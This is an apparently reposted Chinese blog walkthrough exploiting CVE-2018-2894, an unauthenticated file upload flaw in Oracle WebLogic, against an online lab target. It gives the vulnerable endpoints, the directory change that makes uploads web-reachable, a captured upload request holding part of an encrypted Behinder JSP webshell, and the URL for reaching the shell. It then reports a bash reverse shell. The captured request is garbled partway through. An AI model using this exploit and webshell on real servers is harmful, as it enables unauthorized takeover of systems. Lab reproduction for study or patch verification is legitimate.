栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Java

weblogic 文件上传 (CVE-2018-2894)

Java 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

weblogic 文件上传 (CVE-2018-2894)

所有文章,仅供安全研究与学习之用,后果自负!

weblogic 文件上传 CVE-2018-2894
  • weblogic 文件上传 (CVE-2018-2894)
    • 0x01 漏洞描述
    • 0x02 影响范围
    • 0x03 漏洞复现
    • 0x04 漏洞修复
  • 总结

weblogic 文件上传 (CVE-2018-2894)

Oracle Fusion Middleware(Oracle融合中间件)是美国甲骨文(Oracle)公司的一套面向企业和云环境的业务创新平台。该平台提供了中间件、软件集合等功能。Oracle WebLogic Server是其中的一个适用于云环境和传统环境的应用服务器组件。

0x01 漏洞描述

WebLogic管理端未授权的两个页面存在任意上传getshell漏洞,可直接获取权限。两个页面分别为/ws_utc/begin.do,/ws_utc/config.do

0x02 影响范围
weblogic 10.3.6.0
weblogic 12.1.3.0
weblogic 12.2.1.2
weblogic 12.2.1.3
0x03 漏洞复现

(1)访问靶场

http://vulfocus.fofa.so:21761/console/login/LoginForm.jsp


(2)访问漏洞利用点

/ws_utc/config.do 

http://vulfocus.fofa.so:17878/ws_utc/config.do

修改下方工作目录为

/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

将目录设置为ws_utc应用的静态文件css目录,访问这个目录是无需权限的

(3)点击 左边 --》 安全 --》添加

开启抓包 上传冰蝎jsp马, 点击提交

请求包 和响应包 如下所示

POST /ws_utc/resources/setting/keystore?timestamp=1636992980530 HTTP/1.1
Host: vulfocus.fofa.so:45342
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.base64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
-----------------------------331160701224345905112411675521--

(4)访问webshell

http://your-ip:7001/ws_utc/css/config/keystore/[时间戳]_[文件名]
http://vulfocus.fofa.so:45342/ws_utc/css/config/keystore/1636992939120_shellre.jsp

上传成功

(5)冰蝎连接

由于截图记录 加在线靶场 总是不稳定 中途自动关闭 所以端口有改变

冰蝎连接成功
(连接第四次才成功,有超时情况,也有页面存在但密钥无法获取的情况,应该是网络原因,所以 遇到这些情况 如果浏览器访问到页面存在,冰蝎报错 就尝试多连几次。)

冰蝎的反弹shell功能 bash反弹shell成功

0x04 漏洞修复

升级到最新版本

总结
  1. 访问 存在漏洞地址ip:7001/ws_utc/config.do

  2. 修改工作目录
    /u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

  3. 抓包上传jsp马

  4. 获取响应包的时间戳和文件名

  5. 访问页面

      http://your-ip:7001/ws_utc/css/config/keystore/[时间戳]_[文件名]
    
  6. 冰蝎连接

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/532044.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号